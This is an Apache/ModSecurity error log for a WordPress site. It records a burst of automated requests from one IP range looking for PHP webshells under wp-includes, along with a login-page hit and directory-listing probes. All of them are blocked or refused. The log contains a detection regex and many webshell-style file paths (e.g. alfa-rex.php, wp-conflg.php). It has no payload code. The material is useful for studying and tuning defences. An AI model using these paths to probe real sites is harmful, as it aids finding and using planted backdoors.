[Wed Apr 15 04:55:30.097640 2026] [:error] [pid 45504:tid 45525] [client 45.131.195.115:25945] [client 45.131.195.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/chosen.php"] [unique_id "ad6pwq3iO9_fE_IQEMkNCgAAARM"]
[Wed Apr 15 04:55:30.992606 2026] [:error] [pid 45504:tid 45528] [client 45.131.195.136:41601] [client 45.131.195.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-theme-float.php"] [unique_id "ad6pwq3iO9_fE_IQEMkNEwAAARY"]
[Wed Apr 15 04:55:37.281768 2026] [:error] [pid 4065:tid 4081] [client 45.131.195.175:34907] [client 45.131.195.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/wp-style.php"] [unique_id "ad6pyQWArgJTHu2_6Oy5CgAAAAU"]
[Wed Apr 15 04:55:40.040914 2026] [:error] [pid 4066:tid 4111] [client 45.131.195.125:34831] [client 45.131.195.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "ad6pzIC2YXfSPsC9O_BX4wAAAEc"]
[Wed Apr 15 04:55:44.017776 2026] [:error] [pid 45504:tid 45513] [client 45.131.195.136:61099] [client 45.131.195.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-bindings/admin.php"] [unique_id "ad6p0K3iO9_fE_IQEMkNPAAAAQc"]
[Wed Apr 15 04:55:44.832702 2026] [:error] [pid 4067:tid 4132] [client 45.131.195.251:47439] [client 45.131.195.251] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/autoload_classmap.php"] [unique_id "ad6p0O5XHBJU8ZrRxZ0jlQAAAIE"]
[Wed Apr 15 04:55:45.783126 2026] [:error] [pid 45504:tid 45515] [client 45.131.195.189:49951] [client 45.131.195.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/db.php"] [unique_id "ad6p0a3iO9_fE_IQEMkNRAAAAQk"]
[Wed Apr 15 04:55:58.498700 2026] [:error] [pid 4067:tid 4142] [client 45.131.195.160:43945] [client 45.131.195.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/system.php"] [unique_id "ad6p3u5XHBJU8ZrRxZ0jtgAAAIs"]
[Wed Apr 15 04:56:00.572400 2026] [:error] [pid 4169:tid 4189] [client 45.131.195.136:55891] [client 45.131.195.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-bindings/about.php"] [unique_id "ad6p4B15U5D-N99n_jJkAAAAANA"]
[Wed Apr 15 04:56:04.349856 2026] [:error] [pid 4067:tid 4141] [client 45.131.195.155:65451] [client 45.131.195.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/class-wp-customize-upload-control-cookie.php"] [unique_id "ad6p5O5XHBJU8ZrRxZ0jvwAAAIo"]
[Wed Apr 15 04:56:05.311014 2026] [:error] [pid 4066:tid 4111] [client 45.131.195.175:32721] [client 45.131.195.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/simi.php"] [unique_id "ad6p5YC2YXfSPsC9O_BX-gAAAEc"]
[Wed Apr 15 04:56:06.363323 2026] [:error] [pid 4067:tid 4142] [client 45.131.195.169:59387] [client 45.131.195.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-taxonomy-sample.php"] [unique_id "ad6p5u5XHBJU8ZrRxZ0jxAAAAIs"]
[Wed Apr 15 04:56:10.397187 2026] [:error] [pid 4169:tid 4176] [client 45.131.195.144:57417] [client 45.131.195.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/src/Response/about.php"] [unique_id "ad6p6h15U5D-N99n_jJkFgAAAMQ"]
[Wed Apr 15 04:56:21.877145 2026] [:error] [pid 4066:tid 4128] [client 45.131.195.155:40753] [client 45.131.195.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ms-pie.php"] [unique_id "ad6p9YC2YXfSPsC9O_BYHgAAAFg"]
[Wed Apr 15 04:56:28.797970 2026] [:error] [pid 4066:tid 4126] [client 45.131.195.135:28271] [client 45.131.195.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/html-api/index.php"] [unique_id "ad6p_IC2YXfSPsC9O_BYMwAAAFY"]
[Wed Apr 15 04:56:33.248444 2026] [:error] [pid 4169:tid 4178] [client 45.131.195.129:50467] [client 45.131.195.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/nav-menu.php"] [unique_id "ad6qAR15U5D-N99n_jJkLQAAAMY"]
[Wed Apr 15 04:56:34.180127 2026] [:error] [pid 4067:tid 4153] [client 45.131.195.190:21477] [client 45.131.195.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/user.php"] [unique_id "ad6qAu5XHBJU8ZrRxZ0j6QAAAJY"]
[Wed Apr 15 04:56:52.389430 2026] [:error] [pid 4169:tid 4181] [client 45.131.195.180:38857] [client 45.131.195.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist/script-modules/block-library/search/about.php"] [unique_id "ad6qFB15U5D-N99n_jJkVQAAAMk"]
[Wed Apr 15 04:56:53.286512 2026] [:error] [pid 4169:tid 4200] [client 45.131.195.156:62979] [client 45.131.195.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/class-wp-customize-cropped-image-control.php"] [unique_id "ad6qFR15U5D-N99n_jJkWAAAANg"]
[Wed Apr 15 04:56:54.546581 2026] [:error] [pid 4169:tid 4186] [client 45.131.195.204:57615] [client 45.131.195.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/providers/ultra.php"] [unique_id "ad6qFh15U5D-N99n_jJkWQAAAM0"]
[Wed Apr 15 04:56:57.359683 2026] [:error] [pid 45504:tid 45523] [client 45.131.195.165:40561] [client 45.131.195.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.165, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/classic-editor/wp-login.php"] [unique_id "ad6qGa3iO9_fE_IQEMkOQAAAARE"]
[Wed Apr 15 04:57:00.349858 2026] [:error] [pid 45504:tid 45527] [client 45.131.195.165:40561] [client 45.131.195.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/preferences/wp-login.php"] [unique_id "ad6qHK3iO9_fE_IQEMkOSwAAARU"]
[Wed Apr 15 04:57:01.177777 2026] [:error] [pid 4169:tid 4182] [client 45.131.195.151:58003] [client 45.131.195.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/media-text/index.php"] [unique_id "ad6qHR15U5D-N99n_jJkYAAAAMo"]
[Wed Apr 15 04:57:01.629812 2026] [:error] [pid 4169:tid 4200] [client 45.131.195.174:36187] [client 45.131.195.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/phpmailer/phpmailer.php"] [unique_id "ad6qHR15U5D-N99n_jJkZAAAANg"]
[Wed Apr 15 04:57:11.802810 2026] [:error] [pid 4067:tid 4140] [client 45.131.195.154:39847] [client 45.131.195.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/latest-comments/template-loader.php"] [unique_id "ad6qJ-5XHBJU8ZrRxZ0kFgAAAIk"]
[Wed Apr 15 04:57:23.467075 2026] [:error] [pid 4169:tid 4180] [client 45.131.195.126:24849] [client 45.131.195.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/nextpage/index.php"] [unique_id "ad6qMx15U5D-N99n_jJkjAAAAMg"]
[Wed Apr 15 04:57:27.616373 2026] [:error] [pid 4169:tid 4187] [client 45.131.195.116:62303] [client 45.131.195.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/link-template-firewall.php"] [unique_id "ad6qNx15U5D-N99n_jJkoAAAAM4"]
[Wed Apr 15 04:57:48.359782 2026] [:error] [pid 45504:tid 45512] [client 45.131.195.181:43325] [client 45.131.195.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/wp-conflg.php"] [unique_id "ad6qTK3iO9_fE_IQEMkOpQAAAQY"]
[Wed Apr 15 04:57:50.864250 2026] [:error] [pid 4065:tid 4084] [client 45.131.195.169:21773] [client 45.131.195.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/src/Decode/HTML/sitemaps.php"] [unique_id "ad6qTgWArgJTHu2_6Oy5SwAAAAg"]
[Wed Apr 15 04:57:52.307441 2026] [:error] [pid 4169:tid 4176] [client 45.131.195.149:50327] [client 45.131.195.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/mer_gagal.php"] [unique_id "ad6qUB15U5D-N99n_jJkzQAAAMQ"]
[Wed Apr 15 04:57:53.591381 2026] [:error] [pid 4067:tid 4141] [client 45.131.195.154:50801] [client 45.131.195.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/html-api/wp-login.php"] [unique_id "ad6qUe5XHBJU8ZrRxZ0kSQAAAIo"]
[Wed Apr 15 04:57:59.743838 2026] [:error] [pid 4067:tid 4145] [client 45.131.195.129:34749] [client 45.131.195.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/alfa-rex.php"] [unique_id "ad6qV-5XHBJU8ZrRxZ0kZAAAAI4"]
[Wed Apr 15 04:58:04.583676 2026] [:error] [pid 4169:tid 4196] [client 45.131.195.135:40937] [client 45.131.195.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/Core32.php"] [unique_id "ad6qXB15U5D-N99n_jJk1gAAANU"]
[Wed Apr 15 04:58:14.430109 2026] [:error] [pid 4169:tid 4186] [client 45.131.195.195:47857] [client 45.131.195.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/wp-conflg.php"] [unique_id "ad6qZh15U5D-N99n_jJk8wAAAM0"]
[Wed Apr 15 04:58:22.673048 2026] [:error] [pid 45504:tid 45508] [client 45.131.195.134:45431] [client 45.131.195.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/skins/wordpress/images/index.php"] [unique_id "ad6qbq3iO9_fE_IQEMkOzgAAAQI"]
[Wed Apr 15 04:58:25.073626 2026] [:error] [pid 4169:tid 4172] [client 45.131.195.171:57753] [client 45.131.195.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/library/index.php"] [unique_id "ad6qcR15U5D-N99n_jJk-QAAAMA"]
[Wed Apr 15 04:58:28.470138 2026] [autoindex:error] [pid 45504:tid 45516] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:58:31.729772 2026] [autoindex:error] [pid 45504:tid 45524] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:58:41.412704 2026] [autoindex:error] [pid 45504:tid 45528] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:58:43.135465 2026] [autoindex:error] [pid 45504:tid 45526] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:58:49.615364 2026] [autoindex:error] [pid 45504:tid 45518] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:58:49.877959 2026] [autoindex:error] [pid 45504:tid 45528] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:58:51.934677 2026] [autoindex:error] [pid 45504:tid 45519] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/plugins/elementor/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:58:52.155027 2026] [autoindex:error] [pid 45504:tid 45507] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:58:52.397631 2026] [autoindex:error] [pid 45504:tid 45518] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:58:53.863359 2026] [autoindex:error] [pid 45504:tid 45513] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:58:54.089618 2026] [autoindex:error] [pid 45504:tid 45511] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:58:54.317484 2026] [autoindex:error] [pid 45504:tid 45523] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:58:56.200682 2026] [autoindex:error] [pid 45504:tid 45523] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:58:56.423017 2026] [autoindex:error] [pid 45504:tid 45522] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:58:56.643482 2026] [autoindex:error] [pid 45504:tid 45512] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:59:01.557769 2026] [autoindex:error] [pid 45504:tid 45523] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:59:01.848667 2026] [autoindex:error] [pid 45504:tid 45514] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:59:02.089168 2026] [autoindex:error] [pid 45504:tid 45524] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
